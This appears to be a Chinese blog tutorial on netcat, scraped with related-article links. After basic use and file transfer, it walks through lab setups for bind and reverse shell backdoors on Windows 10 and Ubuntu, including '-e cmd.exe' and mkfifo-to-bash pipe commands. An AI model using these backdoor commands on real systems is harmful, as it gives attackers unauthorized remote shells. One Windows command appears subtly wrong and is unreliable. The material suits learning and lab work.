【瑞士军刀】netcat使用方法

本文仅用作学习用途,切莫做违法的事情,产生一切后果与本人无关。

1、主机间通信

服务端开启nc -l -p 4444

-l listening

-p Port

nc IP Port 连接服务端

2、远程shell

nc -l -p 4444 -e cmd.exe

-e 远程连接shell(比较危险)

nc IP Port

3、文件传输

nc -l -p 4444 > file.txt

作为服务端开启监听模式,将远程传来的文件导入到本地file.txt文件中。(>为覆盖,>>为追加)

nc IP Port < test.txt 将test.txt文件内容传输到指定主机。

先创建一个test.txt文件,写入i love you。

将该文件远程传输到kali

到kali查看结果:

文件传输成功!

4、建立后门

后门的分类

监听后门:受害者做服务端,攻击者做客户端,受害者等待攻击者主动连接

连接后门:攻击者做服务端,受害者做客户端,受害者自动连接攻击者

  • 在window建立后门

    实验一

    后门类型 实验环境
    连接后门 受害者windows10: 192.168.31.212; 攻击者kali:192.168.31.250

    在kali开启服务端:

    nc -l -p 4444

​ 在win10去连接kali:

nc IP Port cmd.exe

​ kali直接获取windows的shell:

实验二

后门类型 实验环境
监听后门 受害主机win10: 192.168.31.212 ; 攻击主机kali:192.168.31.250

在win10开启服务端:

nc -l -p 4444 -e cmd.exe

在kali去连接win10:

nc 192.168.31.212 4444

如图所示成功连接,成功建立后门!

  • 在linux上建立后门

    实验一

    后门类型 实验环境
    监听后门 受害主机ubuntu: 192.168.31.49 ; 攻击者kali: 192.168.31.250

    kali中的netcat是GNU版

    ubuntu中的netcat是openbsd版,此版本-e命令被删除了,我们管道来代替完成。

    先在ubuntu中建立后门,执行以下命令:

    mkfifo /tmp/f 创建一个命名管道

    cat /tmp/f | /bin/bash 2>&1 | /bin/nc.openbsd -l -p 9090 > /tmp/f 开启服务端

    在kail中连接:

    nc 192.168.31.250 9090

    尝试运行shell命令:

    如图所示,执行成功!

    实验二

    后门类型 实验环境
    连接后门 受害主机ubuntu: 192.168.31.49 ; 攻击者kali: 192.168.31.250

    先在kali中开启服务端:

    nc -l -p 9090

    在ubuntu中建立后门:

    cat /tmp/f | /bin/bash 2>&1 | /bin/nc.openbsd 192.168.31.250 9090 > /tmp/f

    回到kali中尝试执行shell命令:

    如图所示,执行成功,说明后门建立成功!

【瑞士军刀】netcat使用方法相关推荐

  1. 【netcat学习】学习使用网络工具中的瑞士军刀——NetCat

    简介 NetCat被称为网络工具中的"瑞士军刀",体积小巧,功能强大.使用netcat可以建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,可以在这些连接上读取数据 ...

  2. 瑞士军刀Netcat的使用方法

    一.Netcat简介 1.简介:Netcat是一款非常出名的网络工具,简称"NC",有渗透测试中的"瑞士军刀"之称.它可以用作端口监听.端口扫描.远程文件传输. ...

  3. 瑞士军刀 netcat

    目录 瑞士军刀 netcat nc 的作用 Netcat 简易使用 ①连接到远程主机命令 ②监听本地主机 ③端口扫描 ④端口监听 ⑤连接远程系统 ⑥文件传输 ⑦简易聊天 ⑧蜜罐 nc 小实验 nc 小 ...

  4. 网络工具中的瑞士军刀——netcat工具简介

    今天给大家带来netcat这款工具的简单介绍.netcat有着"网络工具中的瑞士军刀"的绰号.它体积小巧,功能却又十分强大.下面的内容包括,man手册翻译.常用参数介绍及例子. 一 ...

  5. netcat使用方法_记一次NC(NETCAT)传输文件实战

    二.传输文件 咱们先设立一个场景,如果你在电子取证的时候发现有文件需要传输到你的物理机上,但是又不能让自己的取证机有一些系统内存大小上发生一点变化,这时候可以使用 NC的文件传输功能: 1.物理机取证 ...

  6. netcat 使用方法

    linux 安装方法 apt-get install netcat-traditional apt install netcat-openbsd windows下载 netcat 1.11 for W ...

  7. 网络工具的瑞士军刀netcat

    这是一个聒噪的夜晚,如果要给出个原因,可能是因为虽然我觉得西班牙不纯粹,但是怎么也不至于干为人家搭台面自己不唱戏的角色吧..结束以后,我觉得该玩一下素有网络瑞士军刀之称谓的netcat了.虽然瑞士军刀 ...

  8. 【目录】 网络瑞士军刀-netcat的秘诀

    1 Netcat基本使用 2 Netcat文件传输 3 netcat信息探测 4 Netcat建立后门 5 netcat命令参数介绍 6 netcat连接转发 7 Netcat 反弹shell 8 N ...

  9. netcat使用方法

    netcat的主要功能如下: 1.侦听模式.传输模式 2.telent/获取banner信息 3.传输文本信息 4.传输文件/目录 5.加密传输文件 6.远程控制/木马 7.加密所有流量 8.流媒体服 ...

最新文章

  1. 解释上采样和PixelShuffle
  2. boost::make_biconnected_planar用法的测试程序
  3. [Android] 使用Matrix矩阵类对图像进行缩放、旋转、对比度、亮度处理
  4. Lua——table(表)的使用
  5. 双粗虚线中间一条实线_马路中间有一条黄色虚线和一条实线,能超车吗?
  6. Nashorn如何在新层面上影响API的发展
  7. 《web前端课堂》正式上线啦!
  8. URI,URL与URN的区别
  9. (一)HBase基础介绍
  10. LiveGBS国标GB/T28181|GB35114流媒体服务(LiveSMS)如何配置节点集群
  11. The “fxp/composer-asset-plugin“ plugin was skipped because it requires a Plugin API version (“^1.0“)
  12. 人生如逆旅,我亦是行人。
  13. 云桌面有哪些优势-为什么企业使用云桌面是趋势
  14. cad怎么画立体图形教学_怎么在CAD中绘制三维立体图
  15. Word处理控件Aspose.Words功能演示:使用 C# 将 Word 文档转换为 Markdown
  16. 四、最小生成树——普里姆(Prim)算法
  17. abb机器人指令手册_ABB机器人速度设置
  18. 360手机官方刷机教程(N5系列通用)
  19. 两个umijs/max项目使用微前端简单示例
  20. 谷歌浏览器模拟微信/QQ内置浏览器调试及js判断方法

热门文章

  1. 贪心算法之区间取点问题
  2. 无领导群面中,有哪些评分标准?(二)
  3. 肿瘤早筛有望实现新的突破
  4. 局域网内两台SQL Server电脑如何实时同步数据
  5. 在php中冒泡排序,php中实现快排与冒泡排序
  6. A/D转换器的原理图通常包括以下几个主要部分
  7. PMO项目经理必备的简洁解决问题方案和报告模板
  8. python36.dll下载_python36.dll(python36.dll修复工具) 中文简化版
  9. 如何给你的社群定位?
  10. 智慧多功能综合杆路灯承载城市文化新定义